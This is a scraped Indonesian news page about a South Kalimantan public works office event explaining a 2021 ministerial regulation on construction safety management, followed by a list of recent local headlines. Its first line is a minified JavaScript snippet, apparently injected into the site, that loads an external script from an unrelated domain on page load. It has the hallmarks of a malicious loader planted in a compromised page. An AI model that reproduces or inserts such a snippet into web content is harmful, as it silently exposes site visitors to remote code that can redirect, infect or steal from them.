(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PUPR PROV KALSEL

PUPR Kalsel Sosialisasikan Permen PUPR Nomor 10 Tahun 2021 Tentang SMKK 2022


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan melalui Bidang Bina Konstruksi Dinas Pekerjaan Umum dan Penataan Ruang setempat menyelenggarkan sosialisasi permen PUPR nomor 10 tahun 2021.

Peraturan tersebut merupakan pengganti permen PU no 21/prt/m/2019 tentang pedoman pelaksanaan SMKK, yang di dalamnya banyak terdapat hal yang pada peraturan sebelumnya belum diatur secara detail dan rinci.

Kegiatan yang digelar Rabu (24/8/2022) itu dihadiri Plt Kepala Dinas PUPR Kalsel, Ahmad Solhan yang diwakili oleh  Kasubag Umum Dinas PUPR Kalsel, M Khaidir Rahmantullah.

Dalam sambutan Plt Kadis PUPR Kalsel yang dibacakan Kasubag Umum Dinas PUPR Kalsel, M Khaidir Rahmantullah mengatakan, melalui sosialisasi peraturan ini diharapkan dapat menjadi pedoman dalam melaksanakan pekerjaan konstruksi guna mendukung standar keamanan dan keselamatan pekerja jasa konstruksi.

 

Baca juga  : Beli Motor Curian, H Menyusul Komplotan Pembobol Rumah ke Penjara

Sosialisasi ini merupakan salah satu perwujudan meningkatkan kompetensi penyelenggara pekerjaan konstruksi baik dari unsur ASN selaku pejabat pelaksana teknis kegiatan (PPTK) pekerjaan fisik konstruksi maupun dari unsur penyedia jasa, dalam rangka pembinaan dan pemberdayaan di bidang jasa konstruksi.

“Semoga sosialisasi peraturan ini memberikan manfaat dan pengetahuan yang dapat diimplementasikan pada kegiatan infrastruktur jasa konstruksi dan memberikan contoh pelaksanaan konstruksi yang baik kepada rekan-rekan kerjanya di lokasi nanti,” harap dia.

Selain itu, SMKK adalah bagian dari sistem manajemen pelaksanaan pekerjaan konstruksi untuk menjamin terwujudnya keselamatan konstruksi.

“Setiap pengguna jasa dan penyedia jasa dalam penyelenggaraan jasa konstruksi harus menerapkan SMKK. Penerapan SMKK dilaksanakan berdasar tugas, tanggung jawab, dan wewenang sebagaimana tercantum dalam Lampiran Peraturan Menteri,” pungkas dia. (Kanalkalimantan.com/rls)

Reporter : Rls
Editor : Dhani


Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

4 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

5 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

6 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

7 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

10 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

11 jam ago

This website uses cookies.